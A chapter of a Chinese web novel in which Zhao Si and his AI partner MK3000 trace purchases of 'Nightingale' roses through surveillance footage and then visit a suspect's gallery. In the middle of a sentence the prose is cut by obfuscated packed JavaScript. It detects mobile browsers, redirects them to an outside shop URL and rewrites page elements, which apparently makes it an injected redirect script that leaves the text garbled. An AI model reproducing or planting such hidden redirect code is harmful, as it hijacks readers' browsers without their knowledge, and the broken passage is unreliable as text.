所以赵四选择曲线救国。 他没有直接上门,而是用了些妙妙机械小道具,靠外挂给于海波来了一场全方位无死角的跟踪监视。 说实话,这不太道德。 赵四表示:【但是真的很有效。】 他的外挂MK3000惆怅地吃了口糖,【算了,也不是第一回了。】 【哎呀,帮大忙了,搭档。】 笑眯眯地给自家搭档顺了顺毛,赵四窝在302的沙发上,在面板上开了倍速,迅速浏览于海波那边近几个月能找到的视频记录。 连着查了几天的视频,赵四发现于海波的生活很规律。 早上六点半出门晨跑,七点半回家吃早餐,八点半司机来接,九点到办公室开启一天的工作。 中午十二点回家吃饭,下午两点又去办公室,晚上七点回家,再也不出来。 日复一日,波澜不惊。 然后在某一天,于海波开始对花花草草产生了之前没有的兴趣。 他开始经常往家里带花。 百合、雏菊、满天星、康乃馨、绣球……什么都有。 有时候是一束,有时候是几枝,有时候是盆栽。 司机帮他搬过几次,助理帮他取过几次,连秘书都帮他查过几次花语。 在这些花里,偶尔会出现玫瑰。 各种颜色、各种品种。 最贵,也是最特别的那个,只出现过一次。 那是玫瑰里的老熟人了——夜莺。 看着那朵玫瑰,赵四暂停截了个图,又继续往下看。 于海波这样的行为持续了一段时间,然后又逐渐消失。 那些花不再出现在他的办公室和家里,像是他对花草的兴趣突然就耗尽了。 他的生活又回归了规律的日常。 MK3000分析道:【他的行为模式发生了转变,转变点是从老曲那里买回了夜莺,之后他所有的行为都是为了合理掩饰自己的行为而已。】 也就是说,买别的花是为了掩盖自己真正想要的东西,就像用烟雾弹掩盖真正的目标。 赵四调出截图,看着被一起截下来的屏幕上显示的那个时间点。 【那为什么之后不买了?买到手了就不需要了?还是说……】 他没有说完。 MK3000接道:【不是之后不买了,而是他们改为了更隐蔽的买卖方式。】 赵四的手指在膝盖上轻轻敲了一下。 【通过刘大勇。】 之前查的消费记录也有了结果。 梁焕晨被赵四暂时踢出了比对,因为他有常年购买花草树木的习惯,并且供货商不止一个能卖夜莺玫瑰的老曲。 但其他三个人就不一样了。 在于海波开始对花草感兴趣的时候,张维安和周明远也几乎在同一时间产生了同样的兴趣。 他们通过各种方式大量购买不同品类的花草,和于海波还有掩饰行为不同的是,张维安和周明远的购买行为是在某一天戛然而止的。 赵四:【张维安和周明远最后一条关于花草的购买记录是在老曲那里,对吧?】 MK3000给出了肯定的答案。 那买的什么也自然不用说了,是夜莺玫瑰。 之后再无记录,恐怕也是将购买从明面转入了地下。 ——他们不想让人知道自己在长期购买夜莺。 可是夜莺玫瑰对他们来说,到底意味着什么? 夜莺的身上到底有什么秘密? 赵四很难不想到那支和夜莺长得很像的构造体玫瑰。 可是它虽然有着和夜莺类似的外形,但是夜莺真的就是普通玫瑰花,不会给人带来任何特别的能力。 赵四沉思着,在心里给构造体和夜莺之间画了条线,然后在上面标注了一个问号。 第二天,他做好伪装去了梁焕晨的画廊。 他到的时候不算早。 夕阳从玻璃幕墙外面照进来,把整间画廊染成一片金红色。 那些画上的玫瑰在夕光中变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396600|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得格外浓烈,红得像要烧起来。 画廊还差十几分钟就要关门了。 工作人员正在做最后的整理,有人在擦玻璃,有人在核对清单,有人已经开始收拾东西准备下班。 赵四推门进去,一个年轻的工作人员迎上来,脸上带着职业化的笑容。 “先生您好,我们还有十五分钟就要关门了——” “我知道。”赵四说,“我就随便看看。” 工作人员点点头,退到一旁,但目光一直跟着他。 赵四在画廊里慢慢走了一圈。 梁焕晨不在,这也正常,他并不是每时每刻都守在画廊里的。 赵四再度走到前台,随口和工作人员聊了几句。 “梁先生平时来得多么?” “梁老师不常来。”工作人员回答,“一般有新展或者有客人预约的时候才会来,平时这里都是我们在打理,您要见梁老师吗?” 赵四摇摇头,“我只是他的一个粉丝而已……我听说他有一个多年好友?就是经常来送花的那个曲师傅,他今天在吗。” 工作人员愣了一下,想了想才说:“哦,您说那个花匠?他偶尔会来送花,但也不是很经常来……” 赵四问了几个问题,工作人员的答案都很模糊。 他们知道老曲是梁焕晨的朋友,知道他会来送花,但也仅此而已。 两个人之间的关系有多深,认识多久,平时怎么联系……没有人知道。 在外界看来,梁焕晨和老曲只是单纯的花匠和买主之间的交易关系。 这可真是…… 梁焕晨和张维安、周明远他们保持了一样的步调,都在以刘大勇的名义向老曲购买玫瑰。 他不惜绕这么大一个圈子,也要隐藏自己和老曲之间的真实关系。 为什么? 一个艺术家和一个花匠是老朋友,这件事有什么不能让人知道的? 赵四走出前台,重新回到那幅巨大的画前。 夕阳正在沉落,最后一抹光从画面上缓缓退去。 那些玫瑰的颜色从金红变成暗红,从暗红变成深褐,最后融进了阴影里。 他站在画前,看着那些正在消失的颜色,一条条线索从心底闪过。 画廊的工作人员欲言又止地站在不远处,大概是想提醒他快关门了。 赵四回过神,朝他们歉意地笑笑,加快脚步离开了画廊。 天色黑得飞快。快到只是从画廊走到了不远处的天桥,天就已经完全黑下来了。 街上的灯已经亮了,橘黄色的光晕在暮色中一盏一盏地亮起来,照亮了通往远方的路。 他走在天桥上,看着桥下车流如织,人来人往。 车灯和路灯交织成一条流动的光河,从脚下一直延伸到视线尽头。 这里很高,景色很好。 风吹在脸上的感觉很柔和,身后的人们忙着结束一天的忙碌,开启属于自己的夜生活。 远处传来隐隐约约的音乐声,有人在笑,有人在打电话,有人牵着手慢慢走过。 一切都很好。 没有人死去,没有虚沼降临,也没有那些缠在身上的、看不见的线。 ……但赵四知道,故事早就落幕在了发生之前。